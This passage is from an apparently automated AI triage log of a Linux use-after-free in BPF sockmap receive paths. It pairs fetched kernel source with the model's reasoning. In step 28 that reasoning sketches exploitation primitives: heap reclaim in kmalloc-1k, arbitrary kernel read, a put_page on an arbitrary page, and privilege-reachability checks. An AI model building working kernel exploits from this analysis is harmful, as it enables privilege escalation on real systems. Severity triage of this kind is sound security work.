82: timeo = sock_rcvtimeo(sk, flags & MSG_DONTWAIT);
83: data = unix_msg_wait_data(sk, psock, timeo);
84: if (data) {
85: if (!sk_psock_queue_empty(psock))
86: goto msg_bytes_ready;
87: mutex_unlock(&u->iolock);
88: sk_psock_put(sk, psock);
89: return __unix_recvmsg(sk, msg, len, flags);
90: }
91: copied = -EAGAIN;
92: }
93: mutex_unlock(&u->iolock);
94: sk_psock_put(sk, psock);
95: return copied;
96: }
SourceFile:net/unix/unix_bpf.c]
|
| 20/2 |
2026/05/20 09:14 |
llm |
expert |
0m
Model:
Tokens:
input: 31468
output: 40
thoughts: 136
Thoughts: **Analyzing a Potential Use-After-Free Vulnerability**
Okay, so I'm digging into this `unix_bpf_recvmsg` function, and the first thing that jumps out is that it's using `mutex_lock(&u->iolock)`. That's standard and implies serialization of access. This is what I expect. Then I see that `udp_bpf_recvmsg` doesn't seem to be doing this, which immediately piques my interest. It is peculiar that `udp_bpf_recvmsg` *alone* fails to serialize access.
Wait, `udp_bpf_recvmsg`... that was a relatively recent addition, according to the commit history, "net: udp: add bpf_recvmsg for udp," (commit 6223214ce6d5). Okay, that's crucial context. Is this a potential Use-After-Free (UAF) situation? The code is new, and this lack of serialization screams "potential race condition."
The UAF read in question is checking if `msg_rx->sk == sk`. `msg_rx` is a `struct sk_msg`. That's where I need to focus next. Let's drill down into the definition of `struct sk_msg` and see what's happening there. I need to understand what this structure contains, how it's used, and if there's any way a stale `sk` pointer could be retained and later dereferenced unsafely. I bet this is where the vulnerability lies.
|
| 21/2 |
2026/05/20 09:15 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:include/linux/skmsg.h IncludeLines:true Name:sk_msg]
Results: map[SourceCode: 42: /* UAPI in filter.c depends on struct sk_msg_sg being first element. */
43: struct sk_msg {
44: struct sk_msg_sg sg;
45: void *data;
46: void *data_end;
47: u32 apply_bytes;
48: u32 cork_bytes;
49: u32 flags;
50: struct sk_buff *skb;
51: struct sock *sk_redir;
52: struct sock *sk;
53: struct list_head list;
54: };
SourceFile:include/linux/skmsg.h]
|
| 22/2 |
2026/05/20 09:15 |
llm |
expert |
0m
Model:
Tokens:
input: 32185
output: 43
thoughts: 34
Thoughts: Here's my take on the thought process, as if it were my own:
**Analyzing Memory Deallocation in Network Socket Handling**
Okay, so I see `msg_rx` being freed. That's good, memory management is critical in network programming. Specifically, it's freed via `kfree_sk_msg(msg_rx)`. Alright, let's take a closer look at `kfree_sk_msg`. I'd like to understand precisely how this function handles the freeing of this specific socket message. I need to make sure this is done correctly, especially in this context, to avoid any potential memory leaks or corruption issues. I want to see how the sk_buff is released, if there is a reference count involved, and if any associated data structures are cleaned up properly. It's time to dive into the kernel code and check it out.
|
| 23/2 |
2026/05/20 09:15 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:include/linux/skmsg.h IncludeLines:true Name:kfree_sk_msg]
Results: map[SourceCode: 414: static inline void kfree_sk_msg(struct sk_msg *msg)
415: {
416: if (msg->skb)
417: consume_skb(msg->skb);
418: kfree(msg);
419: }
SourceFile:include/linux/skmsg.h]
|
| 24/2 |
2026/05/20 09:15 |
llm |
expert |
0m
Model:
Tokens:
input: 32560
output: 42
thoughts: 36
Thoughts: Here's my understanding, as if I were thinking it through:
**Deconstructing `msg_rx` Allocation**
Okay, so I'm tracing the lifecycle of this `msg_rx` structure. The text seems to be saying that the allocated memory is freed using `kfree`, which, from experience, usually signifies a standard kernel memory deallocation. But wait, it's initially allocated with `kzalloc`, which means it was initialized to zero. That's good, minimizes potential security issues due to uninitialized memory. Ah, now I remember, `alloc_sk_msg` is the function responsible for the actual allocation itself. So `kzalloc` is probably called internally by `alloc_sk_msg` for that. That makes sense, keeps things organized and probably provides an abstraction layer. Let me verify this in the source code.
|
| 25/2 |
2026/05/20 09:15 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/core/skmsg.c IncludeLines:true Name:alloc_sk_msg]
Results: map[SourceCode: 521: static struct sk_msg *alloc_sk_msg(gfp_t gfp)
522: {
523: struct sk_msg *msg;
524:
525: msg = kzalloc_obj(*msg, gfp | __GFP_NOWARN);
526: if (unlikely(!msg))
527: return NULL;
528: sg_init_marker(msg->sg.data, NR_MSG_FRAG_IDS);
529: return msg;
530: }
SourceFile:net/core/skmsg.c]
|
| 26/2 |
2026/05/20 09:15 |
llm |
expert |
0m
Model:
Tokens:
input: 32997
output: 42
thoughts: 65
Thoughts: **Analyzing the Memory Allocation of `kzalloc_obj`**
Okay, so I'm looking at how `kzalloc_obj` is allocating memory, and my initial thought is that it's going to `kmalloc-1k`. That makes sense; the `sizeof(struct sk_msg)` is probably right around the 1024-byte mark, which would be a logical fit for that allocation slab.
But hold on a second... I need to be precise. The `struct sk_msg` contains a member, `struct sk_msg_sg sg`. I can't just assume it's simple like that. I need to know the size of *that* component too. Time to dig deeper and confirm my initial hypothesis by checking exactly how big `struct sk_msg_sg` is. I'm going to need to factor that into my mental model before I can make a solid determination.
|
| 27/2 |
2026/05/20 09:15 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:include/linux/skmsg.h IncludeLines:true Name:sk_msg_sg]
Results: map[SourceCode: 26: struct sk_msg_sg {
27: u32 start;
28: u32 curr;
29: u32 end;
30: u32 size;
31: u32 copybreak;
32: DECLARE_BITMAP(copy, MAX_MSG_FRAGS + 2);
33: /* The extra two elements:
34: * 1) used for chaining the front and sections when the list becomes
35: * partitioned (e.g. end < start). The crypto APIs require the
36: * chaining;
37: * 2) to chain tailer SG entries after the message.
38: */
39: struct scatterlist data[MAX_MSG_FRAGS + 2];
40: };
SourceFile:include/linux/skmsg.h]
|
| 28/2 |
2026/05/20 09:15 |
llm |
expert |
0m
Model:
Tokens:
input: 33551
output: 43
thoughts: 1158
Thoughts: **UAF Vulnerability in `__sk_msg_recvmsg`**
Okay, let's break this down. `MAX_MSG_FRAGS` usually aligns with `MAX_SKB_FRAGS`, which is 17. That tells me the `data` array is actually an array of 19 `struct scatterlist` instances. Knowing that `struct scatterlist` is either 24 or 32 bytes in size means this `data` array is at most 608 bytes (19 * 32). Consequently, `struct sk_msg` size would be between 600-700 bytes, which would fit nicely in `kmalloc-1k`, so we can expect a `kmalloc-1k` allocation.
Now, that brings me to the UAF in `__sk_msg_recvmsg`. I see the `sk_psock_peek_msg` call, and then the critical while loop. The vulnerability lies in the fact that `msg_rx` is vulnerable to being freed. So if `msg_rx` gets freed and then reallocated with controlled data, `msg_rx->sg.start` is now controlled. This implies that the entire `struct scatterlist *sge` is now controlled. The subsequent `sge->length` is controlled and `sg_page(sge)` is controlled. This will allow an attacker to read data from a memory page of their choosing using the `copy_page_to_iter`.
The key is that the attacker controls `sge->page_link`, so it could point to anything and that means arbitrary memory read!
Now, the write primitive. The code calls `copy_page_to_iter` and that implies we can read (from kernel to user). But, where is the write? Okay, I see that the kernel will update `sge->offset`, `sge->length`, and `msg_rx->sg.size`, but that doesn't seem directly exploitable as write. However, the critical piece is where `put_page(page)` is called if `!msg_rx->skb` is true. Since the attacker controls `msg_rx` and can set `msg_rx->skb` to NULL, then we have a `put_page` call on an arbitrary page, leading to a refcount decrement on an arbitrary page. That is a Use-After-Free condition, which is a powerful primitive for arbitrary code execution.
This is very exploitable. And the attacker can allocate `msg_rx` in `kmalloc-1k` using several methods, like `sendmsg` or `add_key`!
Okay, let's check the capabilities required. The reproducer calls `socket(AF_INET, SOCK_DGRAM, 0)`, which is unprivileged. Then it calls `bpf(BPF_MAP_CREATE)`, which needs BPF access, which, let's say is disabled and the unprivileged user doesn't have BPF access. Can a user create BPF maps of type `SOCKHASH` or `SOCKMAP` without the BPF capability? Let's check `bpf_map_alloc` and `sock_map_alloc`.
|
| 29/2 |
2026/05/20 09:15 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:net/core/sock_map.c IncludeLines:true Name:sock_map_alloc]
Results: map[SourceCode: 39: static struct bpf_map *sock_map_alloc(union bpf_attr *attr)
40: {
41: struct bpf_stab *stab;
42:
43: if (attr->max_entries == 0 ||
44: attr->key_size != 4 ||
45: (attr->value_size != sizeof(u32) &&
46: attr->value_size != sizeof(u64)) ||
47: attr->map_flags & ~SOCK_CREATE_FLAG_MASK)
48: return ERR_PTR(-EINVAL);
49:
50: stab = bpf_map_area_alloc(sizeof(*stab), NUMA_NO_NODE);
51: if (!stab)
52: return ERR_PTR(-ENOMEM);
53:
54: bpf_map_init_from_attr(&stab->map, attr);
55: spin_lock_init(&stab->lock);
56:
57: stab->sks = bpf_map_area_alloc((u64) stab->map.max_entries *
58: sizeof(struct sock *),
59: stab->map.numa_node);
60: if (!stab->sks) {
61: bpf_map_area_free(stab);
62: return ERR_PTR(-ENOMEM);
63: }
64:
65: return &stab->map;
66: }
SourceFile:net/core/sock_map.c]
|
| 30/2 |
2026/05/20 09:15 |
llm |
expert |
0m
Model:
Tokens:
input: 35889
output: 40
thoughts: 60
Thoughts: Okay, let's see...
**Analyzing BPF Map Creation and Capabilities**
Hold on a second. I'm pretty sure I recall that `bpf(BPF_MAP_CREATE)` needs some special privileges to work correctly if `unprivileged_bpf_disabled=1`. I think that's either `CAP_BPF` or, of course, the ever-powerful `CAP_SYS_ADMIN`. Gotta make sure I'm remembering this right.
Time to dive in. I need to refresh my memory and verify the details on `sys_bpf` system call and the specific handling of `bpf_map_create`. Let's see how this all hangs together in the kernel.
|
| 31/2 |
2026/05/20 09:15 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:kernel/bpf/syscall.c IncludeLines:true Name:map_create]
Results: map[SourceCode:1361: /* called via syscall */
1362: static int map_create(union bpf_attr *attr, bpfptr_t uattr)
1363: {
1364: const struct bpf_map_ops *ops;
1365: struct bpf_token *token = NULL;
1366: int numa_node = bpf_map_attr_numa_node(attr);
1367: u32 map_type = attr->map_type;
1368: struct bpf_map *map;
1369: bool token_flag;
1370: int f_flags;
1371: int err;
1372:
1373: err = CHECK_ATTR(BPF_MAP_CREATE);
1374: if (err)
1375: return -EINVAL;
1376:
1377: /* check BPF_F_TOKEN_FD flag, remember if it's set, and then clear it
1378: * to avoid per-map type checks tripping on unknown flag
1379: */
1380: token_flag = attr->map_flags & BPF_F_TOKEN_FD;
1381: attr->map_flags &= ~BPF_F_TOKEN_FD;
1382:
1383: if (attr->btf_vmlinux_value_type_id) {
1384: if (attr->map_type != BPF_MAP_TYPE_STRUCT_OPS ||
1385: attr->btf_key_type_id || attr->btf_value_type_id)
1386: return -EINVAL;
1387: } else if (attr->btf_key_type_id && !attr->btf_value_type_id) {
1388: return -EINVAL;
1389: }
1390:
1391: if (attr->map_type != BPF_MAP_TYPE_BLOOM_FILTER &&
1392: attr->map_type != BPF_MAP_TYPE_ARENA &&
1393: attr->map_extra != 0)
1394: return -EINVAL;
1395:
1396: f_flags = bpf_get_file_flag(attr->map_flags);
1397: if (f_flags < 0)
1398: return f_flags;
1399:
1400: if (numa_node != NUMA_NO_NODE &&
1401: ((unsigned int)numa_node >= nr_node_ids ||
1402: !node_online(numa_node)))
1403: return -EINVAL;
1404:
1405: /* find map type and init map: hashtable vs rbtree vs bloom vs ... */
1406: map_type = attr->map_type;
1407: if (map_type >= ARRAY_SIZE(bpf_map_types))
1408: return -EINVAL;
1409: map_type = array_index_nospec(map_type, ARRAY_SIZE(bpf_map_types));
1410: ops = bpf_map_types[map_type];
1411: if (!ops)
1412: return -EINVAL;
1413:
1414: if (ops->map_alloc_check) {
1415: err = ops->map_alloc_check(attr);
1416: if (err)
1417: return err;
1418: }
1419: if (attr->map_ifindex)
1420: ops = &bpf_map_offload_ops;
1421: if (!ops->map_mem_usage)
1422: return -EINVAL;
1423:
1424: if (token_flag) {
1425: token = bpf_token_get_from_fd(attr->map_token_fd);
1426: if (IS_ERR(token))
1427: return PTR_ERR(token);
1428:
1429: /* if current token doesn't grant map creation permissions,
1430: * then we can't use this token, so ignore it and rely on
1431: * system-wide capabilities checks
1432: */
1433: if (!bpf_token_allow_cmd(token, BPF_MAP_CREATE) ||
1434: !bpf_token_allow_map_type(token, attr->map_type)) {
1435: bpf_token_put(token);
1436: token = NULL;
1437: }
1438: }
1439:
1440: err = -EPERM;
1441:
1442: /* Intent here is for unprivileged_bpf_disabled to block BPF map
1443: * creation for unprivileged users; other actions depend
1444: * on fd availability and access to bpffs, so are dependent on
1445: * object creation success. Even with unprivileged BPF disabled,
1446: * capability checks are still carried out.
1447: */
1448: if (sysctl_unprivileged_bpf_disabled && !bpf_token_capable(token, CAP_BPF))
1449: goto put_token;
1450:
1451: /* check privileged map type permissions */
1452: switch (map_type) {
1453: case BPF_MAP_TYPE_ARRAY:
1454: case BPF_MAP_TYPE_PERCPU_ARRAY:
1455: case BPF_MAP_TYPE_PROG_ARRAY:
1456: case BPF_MAP_TYPE_PERF_EVENT_ARRAY:
1457: case BPF_MAP_TYPE_CGROUP_ARRAY:
1458: case BPF_MAP_TYPE_ARRAY_OF_MAPS:
1459: case BPF_MAP_TYPE_HASH:
1460: case BPF_MAP_TYPE_PERCPU_HASH:
1461: case BPF_MAP_TYPE_HASH_OF_MAPS:
1462: case BPF_MAP_TYPE_RINGBUF:
1463: case BPF_MAP_TYPE_USER_RINGBUF:
1464: case BPF_MAP_TYPE_CGROUP_STORAGE:
1465: case BPF_MAP_TYPE_PERCPU_CGROUP_STORAGE:
1466: /* unprivileged */
1467: break;
1468: case BPF_MAP_TYPE_SK_STORAGE:
1469: case BPF_MAP_TYPE_INODE_STORAGE:
1470: case BPF_MAP_TYPE_TASK_STORAGE:
1471: case BPF_MAP_TYPE_CGRP_STORAGE:
1472: case BPF_MAP_TYPE_BLOOM_FILTER:
1473: case BPF_MAP_TYPE_LPM_TRIE:
1474: case BPF_MAP_TYPE_REUSEPORT_SOCKARRAY:
1475: case BPF_MAP_TYPE_STACK_TRACE:
1476: case BPF_MAP_TYPE_QUEUE:
1477: case BPF_MAP_TYPE_STACK:
1478: case BPF_MAP_TYPE_LRU_HASH:
1479: case BPF_MAP_TYPE_LRU_PERCPU_HASH:
1480: case BPF_MAP_TYPE_STRUCT_OPS:
1481: case BPF_MAP_TYPE_CPUMAP:
1482: case BPF_MAP_TYPE_ARENA:
1483: case BPF_MAP_TYPE_INSN_ARRAY:
1484: if (!bpf_token_capable(token, CAP_BPF))
1485: goto put_token;
1486: break;
1487: case BPF_MAP_TYPE_SOCKMAP:
1488: case BPF_MAP_TYPE_SOCKHASH:
1489: case BPF_MAP_TYPE_DEVMAP:
1490: case BPF_MAP_TYPE_DEVMAP_HASH:
1491: case BPF_MAP_TYPE_XSKMAP:
1492: if (!bpf_token_capable(token, CAP_NET_ADMIN))
1493: goto put_token;
1494: break;
1495: default:
1496: WARN(1, "unsupported map type %d", map_type);
1497: goto put_token;
1498: }
1499:
1500: map = ops->map_alloc(attr);
1501: if (IS_ERR(map)) {
1502: err = PTR_ERR(map);
1503: goto put_token;
1504: }
1505: map->ops = ops;
1506: map->map_type = map_type;
1507:
1508: err = bpf_obj_name_cpy(map->name, attr->map_name,
1509: sizeof(attr->map_name));
1510: if (err < 0)
1511: goto free_map;
1512:
1513: preempt_disable();
1514: map->cookie = gen_cookie_next(&bpf_map_cookie);
1515: preempt_enable();
1516:
1517: atomic64_set(&map->refcnt, 1);
1518: atomic64_set(&map->usercnt, 1);
1519: mutex_init(&map->freeze_mutex);
1520: spin_lock_init(&map->owner_lock);
1521:
1522: if (attr->btf_key_type_id || attr->btf_value_type_id ||
1523: /* Even the map's value is a kernel's struct,
1524: * the bpf_prog.o must have BTF to begin with
1525: * to figure out the corresponding kernel's
1526: * counter part. Thus, attr->btf_fd has
1527: * to be valid also.
1528: */
1529: attr->btf_vmlinux_value_type_id) {
1530: struct btf *btf;
1531:
1532: btf = btf_get_by_fd(attr->btf_fd);
1533: if (IS_ERR(btf)) {
1534: err = PTR_ERR(btf);
1535: goto free_map;
1536: }
1537: if (btf_is_kernel(btf)) {
1538: btf_put(btf);
1539: err = -EACCES;
1540: goto free_map;
1541: }
1542: map->btf = btf;
1543:
1544: if (attr->btf_value_type_id) {
1545: err = map_check_btf(map, token, btf, attr->btf_key_type_id,
1546: attr->btf_value_type_id);
1547: if (err)
1548: goto free_map;
1549: }
1550:
1551: map->btf_key_type_id = attr->btf_key_type_id;
1552: map->btf_value_type_id = attr->btf_value_type_id;
1553: map->btf_vmlinux_value_type_id =
1554: attr->btf_vmlinux_value_type_id;
1555: }
1556:
1557: if (attr->excl_prog_hash) {
1558: bpfptr_t uprog_hash = make_bpfptr(attr->excl_prog_hash, uattr.is_kernel);
1559:
1560: if (attr->excl_prog_hash_size != SHA256_DIGEST_SIZE) {
1561: err = -EINVAL;
1562: goto free_map;
1563: }
1564:
1565: map->excl_prog_sha = kzalloc(SHA256_DIGEST_SIZE, GFP_KERNEL);
1566: if (!map->excl_prog_sha) {
1567: err = -ENOMEM;
1568: goto free_map;
1569: }
1570:
1571: if (copy_from_bpfptr(map->excl_prog_sha, uprog_hash, SHA256_DIGEST_SIZE)) {
1572: err = -EFAULT;
1573: goto free_map;
1574: }
1575: } else if (attr->excl_prog_hash_size) {
1576: err = -EINVAL;
1577: goto free_map;
1578: }
1579:
1580: err = security_bpf_map_create(map, attr, token, uattr.is_kernel);
1581: if (err)
1582: goto free_map_sec;
1583:
1584: err = bpf_map_alloc_id(map);
1585: if (err)
1586: goto free_map_sec;
1587:
1588: bpf_map_save_memcg(map);
1589: bpf_token_put(token);
1590:
1591: err = bpf_map_new_fd(map, f_flags);
1592: if (err < 0) {
1593: /* failed to allocate fd.
1594: * bpf_map_put_with_uref() is needed because the above
1595: * bpf_map_alloc_id() has published the map
1596: * to the userspace and the userspace may
1597: * have refcnt-ed it through BPF_MAP_GET_FD_BY_ID.
1598: */
1599: bpf_map_put_with_uref(map);
1600: return err;
1601: }
1602:
1603: return err;
1604:
1605: free_map_sec:
1606: security_bpf_map_free(map);
1607: free_map:
1608: bpf_map_free(map);
1609: put_token:
1610: bpf_token_put(token);
1611: return err;
1612: }
SourceFile:kernel/bpf/syscall.c]
|
| 32/2 |
2026/05/20 09:15 |
llm |
expert |
0m
Model:
Tokens:
input: 40245
output: 43
thoughts: 340
Thoughts: **My BPF Map Capability Analysis**
Okay, so I'm looking at these BPF map types, specifically `SOCKMAP` and `SOCKHASH`. Right, the code clearly shows they require `CAP_NET_ADMIN`. I already knew that. Makes sense, given their network-oriented nature. The code snippet confirms it: an unprivileged user, without that capability, can't create one.
Ah, but what about `REUSEPORT_SOCKARRAY`? Let me see⦠right, that one demands `CAP_BPF` instead. So, if `unprivileged_bpf_disabled` is enabled, an unprivileged user is blocked from that one as well. Basically, without the requisite capability, forget about creating those maps.
Now, here's a wrinkle I should consider: could an unprivileged user inside a user namespace somehow bypass this restriction for `SOCKMAP` or `SOCKHASH`? I need to remember that `bpf_token_capable(token, CAP_NET_ADMIN)`... let me trace that call... checks `CAP_NET_ADMIN` either in the initial user namespace or, actually, *in the user namespace of the token*. So, that's it! I need to re-examine my assumptions about user namespaces and how BPF capabilities interact with them, because that's crucial. I'm going to follow the logic of `bpf_token_capable` to make sure I completely understand the implications here.
|
| 33/2 |
2026/05/20 09:15 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:kernel/bpf/syscall.c IncludeLines:true Name:bpf_token_capable]
Results: map[SourceCode: 17: bool bpf_token_capable(const struct bpf_token *token, int cap)
18: {
19: struct user_namespace *userns;
20:
21: /* BPF token allows ns_capable() level of capabilities */
22: userns = token ? token->userns : &init_user_ns;
23: if (!bpf_ns_capable(userns, cap))
24: return false;
25: if (token && security_bpf_token_capable(token, cap) < 0)
26: return false;
27: return true;
28: }
SourceFile:kernel/bpf/token.c]
|
| 34/2 |
2026/05/20 09:15 |
llm |
expert |
0m
Model:
Tokens:
input: 41143
output: 43
thoughts: 118
Thoughts: **My Analysis of BPF Token Capability**
Okay, let me break down this `bpf_token_capable` function. It seems the core of its check revolves around `bpf_ns_capable(userns, cap)`. The key thing here is the `userns` parameter, and what it represents.
If the `token` pointer is NULL, the function defaults to checking the `&init_user_ns`. So, if an unprivileged user spins up a new user namespace, the implication is they could potentially elevate their privileges and get `CAP_NET_ADMIN` within *that* specific user namespace. That's interesting and I need to file that away. But is that it?
Hang on... can an unprivileged user actually *create* a BPF token in the first place? My gut says "no," but I need to confirm. How are these tokens generated? I need to refresh my memory on the creation process. Ah, right, the `BPF_TOKEN_CREATE` command... which requires a BPF filesystem mount. Okay, now I need to dive into `bpf_token_create` and see what the security checks are there. This is where the rubber meets the road.
|
| 35/2 |
2026/05/20 09:15 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:kernel/bpf/syscall.c IncludeLines:true Name:bpf_token_create]
Results: map[SourceCode: 112: int bpf_token_create(union bpf_attr *attr)
113: {
114: struct bpf_token *token __free(kfree) = NULL;
115: struct bpf_mount_opts *mnt_opts;
116: struct user_namespace *userns;
117: struct inode *inode;
118: CLASS(fd, f)(attr->token_create.bpffs_fd);
119: struct path path;
120: struct super_block *sb;
121: umode_t mode;
122: int err;
123:
124: if (fd_empty(f))
125: return -EBADF;
126:
127: path = fd_file(f)->f_path;
128: sb = path.dentry->d_sb;
129:
130: if (path.dentry != sb->s_root)
131: return -EINVAL;
132: if (sb->s_op != &bpf_super_ops)
133: return -EINVAL;
134: err = path_permission(&path, MAY_ACCESS);
135: if (err)
136: return err;
137:
138: userns = sb->s_user_ns;
139: /*
140: * Enforce that creators of BPF tokens are in the same user
141: * namespace as the BPF FS instance. This makes reasoning about
142: * permissions a lot easier and we can always relax this later.
143: */
144: if (current_user_ns() != userns)
145: return -EPERM;
146: if (!ns_capable(userns, CAP_BPF))
147: return -EPERM;
148:
149: /* Creating BPF token in init_user_ns doesn't make much sense. */
150: if (current_user_ns() == &init_user_ns)
151: return -EOPNOTSUPP;
152:
153: mnt_opts = sb->s_fs_info;
154: if (mnt_opts->delegate_cmds == 0 &&
155: mnt_opts->delegate_maps == 0 &&
156: mnt_opts->delegate_progs == 0 &&
157: mnt_opts->delegate_attachs == 0)
158: return -ENOENT; /* no BPF token delegation is set up */
159:
160: mode = S_IFREG | ((S_IRUSR | S_IWUSR) & ~current_umask());
161: inode = bpf_get_inode(sb, NULL, mode);
162: if (IS_ERR(inode))
163: return PTR_ERR(inode);
164:
165: inode->i_op = &bpf_token_iops;
166: inode->i_fop = &bpf_token_fops;
167: clear_nlink(inode); /* make sure it is unlinked */
168:
169: FD_PREPARE(fdf, O_CLOEXEC,
170: alloc_file_pseudo(inode, path.mnt, BPF_TOKEN_INODE_NAME,
171: O_RDWR, &bpf_token_fops));
172: if (fdf.err)
173: return fdf.err;
174:
175: token = kzalloc_obj(*token, GFP_USER);
176: if (!token)
177: return -ENOMEM;
178:
179: atomic64_set(&token->refcnt, 1);
180:
181: /* remember bpffs owning userns for future ns_capable() checks. */
182: token->userns = userns;
183: token->allowed_cmds = mnt_opts->delegate_cmds;
184: token->allowed_maps = mnt_opts->delegate_maps;
185: token->allowed_progs = mnt_opts->delegate_progs;
186: token->allowed_attachs = mnt_opts->delegate_attachs;
187:
188: err = security_bpf_token_create(token, attr, &path);
189: if (err)
190: return err;
191:
192: get_user_ns(token->userns);
193: fd_prepare_file(fdf)->private_data = no_free_ptr(token);
194: return fd_publish(fdf);
195: }
SourceFile:kernel/bpf/token.c]
|
| 36/2 |
2026/05/20 09:15 |
llm |
expert |
0m
Model:
Tokens:
input: 42942
output: 41
thoughts: 120
Thoughts: **BPF Token Creation: A Security Deep Dive**
Okay, so if I'm understanding this correctly, to generate a BPF token, I *absolutely* need `CAP_BPF` within the user namespace associated with the BPF filesystem (FS) instance. That makes perfect sense; the kernel needs to trust the operations happening there. But there's more to it than just that capability. The BPF FS instance itself must be mounted with specific delegation options β things like `delegate_cmds`, `delegate_maps`, and so on. This implies a critical dependency on the host administrator. They're the ones who would need to proactively mount a BPF FS and, crucially, enable these delegation capabilities, then hand it off to the user namespace.
Now, this is where it gets interesting, and where security should be carefully considered. My intuition tells me that, by default, unprivileged users aren't able to just conjure up a BPF FS with all these delegation features. That would be a huge security hole! A quick sanity check suggests an unprivileged user wouldn't have those capabilities by default.
But...wait a minute. My gut feeling is telling me to check the `bpf_mount` manual page to check for any exception. Let's dig deeper to make sure!
|
| 37/2 |
2026/05/20 09:16 |
tool |
codesearch-definition-source |
0m
Error:
Args: map[ContextFile:kernel/bpf/inode.c IncludeLines:true Name:bpf_mount]
Results: map[SourceCode: SourceFile:]
|
| 38/2 |
2026/05/20 09:16 |
llm |
expert |
0m
Model:
Tokens:
input: 43394
output: 43
thoughts: 19
Thoughts: Here's my thought process, as if I were considering those options:
**Initial Investigation into BPF Initialization or Filesystem Type**
Okay, so I'm digging into something related to BPF, and the immediate questions are: where does it begin, or how is it integrated with the filesystem? My initial instinct is to look at either `bpf_init` - the initialization process β or perhaps `bpf_fs_type` - the filesystem-level configuration. I want to see if one sheds light on the other, or if one is the root of the BPF implementation. Each option would lead me down different paths. I'll probably check `bpf_init` first, to see how the subsystem itself gets set up. Then, I can circle back to filesystem interactions via `bpf_fs_type` after that context is set. Understanding how it initializes will guide me toward understanding how it's integrated with the file system.
|
| 39/2 |
2026/05/20 09:16 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:kernel/bpf/inode.c IncludeLines:true Name:bpf_fs_type]
Results: map[SourceCode:1074: static struct file_system_type bpf_fs_type = {
1075: .owner = THIS_MODULE,
1076: .name = "bpf",
1077: .init_fs_context = bpf_init_fs_context,
1078: .parameters = bpf_fs_parameters,
1079: .kill_sb = bpf_kill_super,
1080: .fs_flags = FS_USERNS_MOUNT,
1081: };
SourceFile:kernel/bpf/inode.c]
|
| 40/2 |
2026/05/20 09:16 |
llm |
expert |
0m
Model:
Tokens:
input: 43828
output: 43
thoughts: 63
Thoughts: Okay, here's my interpretation of those thoughts, tailored for an expert audience, as if they were my own:
**Initial Assessment of BPF FS Mounting**
Right, `FS_USERNS_MOUNT` is flagged. Excellent! That means we have the potential for an unprivileged user to actually mount the BPF filesystem within their own user namespace. This immediately shifts the focus to delegation and sandboxing considerations. I need to understand what controls are available and where. My immediate next steps are to delve into the `bpf_init_fs_context` and `bpf_parse_param` functions. The critical question: Can delegation options, or any critical access controls, be set through these entry points? We need to ascertain the level of privilege escalation potential inherent in this configuration. Are there any parameters, configurations, or default settings that would expose the kernel?
|
| 41/2 |
2026/05/20 09:16 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:kernel/bpf/inode.c IncludeLines:true Name:bpf_parse_param]
Results: map[SourceCode: 804: static int bpf_parse_param(struct fs_context *fc, struct fs_parameter *param)
805: {
806: struct bpf_mount_opts *opts = fc->s_fs_info;
807: struct fs_parse_result result;
808: kuid_t uid;
809: kgid_t gid;
810: int opt, err;
811:
812: opt = fs_parse(fc, bpf_fs_parameters, param, &result);
813: if (opt < 0) {
814: /* We might like to report bad mount options here, but
815: * traditionally we've ignored all mount options, so we'd
816: * better continue to ignore non-existing options for bpf.
817: */
818: if (opt == -ENOPARAM) {
819: opt = vfs_parse_fs_param_source(fc, param);
820: if (opt != -ENOPARAM)
821: return opt;
822:
823: return 0;
824: }
825:
826: if (opt < 0)
827: return opt;
828: }
829:
830: switch (opt) {
831: case OPT_UID:
832: uid = make_kuid(current_user_ns(), result.uint_32);
833: if (!uid_valid(uid))
834: goto bad_value;
835:
836: /*
837: * The requested uid must be representable in the
838: * filesystem's idmapping.
839: */
840: if (!kuid_has_mapping(fc->user_ns, uid))
841: goto bad_value;
842:
843: opts->uid = uid;
844: break;
845: case OPT_GID:
846: gid = make_kgid(current_user_ns(), result.uint_32);
847: if (!gid_valid(gid))
848: goto bad_value;
849:
850: /*
851: * The requested gid must be representable in the
852: * filesystem's idmapping.
853: */
854: if (!kgid_has_mapping(fc->user_ns, gid))
855: goto bad_value;
856:
857: opts->gid = gid;
858: break;
859: case OPT_MODE:
860: opts->mode = result.uint_32 & S_IALLUGO;
861: break;
862: case OPT_DELEGATE_CMDS:
863: case OPT_DELEGATE_MAPS:
864: case OPT_DELEGATE_PROGS:
865: case OPT_DELEGATE_ATTACHS: {
866: struct bpffs_btf_enums info;
867: const struct btf_type *enum_t;
868: const char *enum_pfx;
869: u64 *delegate_msk, msk = 0;
870: char *p, *str;
871: int val;
872:
873: /* ignore errors, fallback to hex */
874: (void)find_bpffs_btf_enums(&info);
875:
876: switch (opt) {
877: case OPT_DELEGATE_CMDS:
878: delegate_msk = &opts->delegate_cmds;
879: enum_t = info.cmd_t;
880: enum_pfx = "BPF_";
881: break;
882: case OPT_DELEGATE_MAPS:
883: delegate_msk = &opts->delegate_maps;
884: enum_t = info.map_t;
885: enum_pfx = "BPF_MAP_TYPE_";
886: break;
887: case OPT_DELEGATE_PROGS:
888: delegate_msk = &opts->delegate_progs;
889: enum_t = info.prog_t;
890: enum_pfx = "BPF_PROG_TYPE_";
891: break;
892: case OPT_DELEGATE_ATTACHS:
893: delegate_msk = &opts->delegate_attachs;
894: enum_t = info.attach_t;
895: enum_pfx = "BPF_";
896: break;
897: default:
898: return -EINVAL;
899: }
900:
901: str = param->string;
902: while ((p = strsep(&str, ":"))) {
903: if (strcmp(p, "any") == 0) {
904: msk |= ~0ULL;
905: } else if (find_btf_enum_const(info.btf, enum_t, enum_pfx, p, &val)) {
906: msk |= 1ULL << val;
907: } else {
908: err = kstrtou64(p, 0, &msk);
909: if (err)
910: return err;
911: }
912: }
913:
914: /* Setting delegation mount options requires privileges */
915: if (msk && !capable(CAP_SYS_ADMIN))
916: return -EPERM;
917:
918: *delegate_msk |= msk;
919: break;
920: }
921: default:
922: /* ignore unknown mount options */
923: break;
924: }
925:
926: return 0;
927: bad_value:
928: return invalfc(fc, "Bad value for '%s'", param->key);
929: }
